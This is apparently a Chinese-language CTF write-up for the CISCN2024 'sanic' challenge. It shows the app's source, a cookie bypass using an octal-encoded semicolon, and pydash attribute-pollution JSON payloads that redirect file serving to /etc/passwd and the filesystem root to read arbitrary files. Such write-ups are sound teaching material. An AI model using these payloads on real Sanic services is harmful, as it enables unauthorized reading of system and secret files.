2025-08-23-每日一题
CISCN2024-sanic
题目hint敏感目录/admin和/src
我们先看/src
可以看到源码
点击查看代码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
看到是新框架sanic,
其中代码有以下功能
点击查看代码
登录功能(/login):通过 Cookie 中的 user 值验证用户身份。
源码查看(/src):显示当前 Python 文件的源码。
管理员功能(/admin):允许通过 JSON 参数设置属性,但需要管理员权限。
静态文件服务(/static/):提供静态文件访问。
所以我们第一步应该先在/login处设置cookie,然后/admin登录
我们需要绕过登录
而/login 路由检查 Cookie 中的 user 值是否为 adm;n(注意分号)。
绕过方法:利用 Sanic 框架对 Cookie 值的八进制解码机制(RFC 2068),将分号(;)编码为八进制 \073:
Cookie: user="adm\073n"
这样,user.lower() 比较时实际值为 adm;n,从而绕过检查并获取管理员会话
得到session是00a0cb5575bb4cb1b55571973d387b11
访问/admin需要带上session
然后构造污染
通过 /admin 路由污染 file 属性,使其指向目标文件(如 /etc/passwd):
点击查看代码
{
"key": "__init__\\\\.__globals__\\\\.__file__",
"value": "/etc/passwd"
}
如图
然后访问/src就有信息了
若需获取目录列表(如寻找 flag 文件),污染 directory_view 和 directory 属性:
这里几个大佬讲的很详细,可以看看
之后我们分别打shell
点击查看代码
{
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": true
}
和
点击查看代码
{
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts",
"value": ["/"]
}
在访问url/static/
得到flag的名称
24bcbd0192e591d6ded1_flag
再访问/src
拿到flag
当然也有非预期
payload:
点击查看代码
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
就是污染成根目录的话,可以造成任意文件读取和任意文件下载的操作(下载与否看后缀)然后这个污染使用字符串的,而不是列表,他的属性前面写了个str。
访问url/static/.....flag的名称
也能拿到flag